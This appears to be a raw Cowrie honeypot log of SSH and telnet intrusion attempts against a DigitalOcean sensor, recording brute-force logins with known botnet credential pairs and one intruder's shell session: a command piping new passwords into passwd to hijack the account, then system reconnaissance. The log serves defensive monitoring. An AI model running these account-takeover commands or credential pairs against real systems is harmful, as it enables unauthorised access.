{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.470585Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60947,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff0141a5d3a","protocol":"ssh","message":"New connection: 178.27.90.142:60947 (159.203.135.109:22) [session: 1ff0141a5d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.592802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.597452Z","src_ip":"178.27.90.142","session":"1ff0141a5d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.697521Z","src_ip":"178.27.90.142","session":"1ff0141a5d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.35668087005615,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:50.822154Z","src_ip":"137.184.155.248","session":"13233e82d6c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:51.198078Z","src_ip":"178.27.90.142","session":"1ff0141a5d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:52.306306Z","src_ip":"178.27.90.142","session":"1ff0141a5d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63737,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6254134de66","protocol":"ssh","message":"New connection: 178.27.90.142:63737 (159.203.135.109:22) [session: b6254134de66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:52.432003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:52.436418Z","src_ip":"178.27.90.142","session":"b6254134de66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:52.536628Z","src_ip":"178.27.90.142","session":"b6254134de66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:52.976739Z","src_ip":"178.27.90.142","session":"b6254134de66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":37404,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ef28254713","protocol":"telnet","message":"New connection: 107.182.235.153:37404 (10.17.0.5:23) [session: b7ef28254713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:53.586573Z"}
{"eventid":"cowrie.session.closed","duration":0.005170345306396484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:53.591597Z","src_ip":"107.182.235.153","session":"b7ef28254713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.085094Z","src_ip":"178.27.90.142","session":"b6254134de66","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.233979Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.237230Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.342665Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.598320Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin123\\nxudwrLacVUMs\\nxudwrLacVUMs\"|passwd|bash","message":"CMD: echo -e \"adminadmin123\\nxudwrLacVUMs\\nxudwrLacVUMs\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.602410Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.606813Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.610690Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7c75ed4ca7615dd7aec07be2ce34ca4ced5ba4a23afbd29ecb1402032092df","size":32,"shasum":"ef7c75ed4ca7615dd7aec07be2ce34ca4ced5ba4a23afbd29ecb1402032092df","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7c75ed4ca7615dd7aec07be2ce34ca4ced5ba4a23afbd29ecb1402032092df after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.719468Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.973849Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin123\\nxudwrLacVUMs\\nxudwrLacVUMs\\n\"|passwd","message":"CMD: echo \"adminadmin123\\nxudwrLacVUMs\\nxudwrLacVUMs\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:54.977871Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/af7d0ddb1355b838ef5b35b8b065cdd8975b2badd1de022d8734049c8bd2429c","size":25,"shasum":"af7d0ddb1355b838ef5b35b8b065cdd8975b2badd1de022d8734049c8bd2429c","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/af7d0ddb1355b838ef5b35b8b065cdd8975b2badd1de022d8734049c8bd2429c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.087659Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.389177Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.392605Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.501979Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.756373Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.760521Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:55.866230Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.127154Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.131120Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.134541Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.245274Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.505151Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.508658Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.618788Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.869542Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.873122Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.868281364440918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.934305Z","src_ip":"107.182.235.153","session":"fa9b8b89f7a5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:56.980451Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.254092Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.257771Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.368976Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.635926Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.639329Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:57.745321Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.012209Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.016470Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.128003Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49532,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b60784aeff","protocol":"telnet","message":"New connection: 137.184.155.248:49532 (10.17.0.5:23) [session: 55b60784aeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.158062Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.422575Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.426380Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26451849937439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.434156Z","src_ip":"107.182.235.153","session":"e43edad7e55a","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.529526Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.777622Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.781192Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:58.888574Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.139445Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.143191Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.289132Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:10:59.556642Z","src_ip":"178.27.90.142","session":"155ed68a2999","protocol":"ssh"}
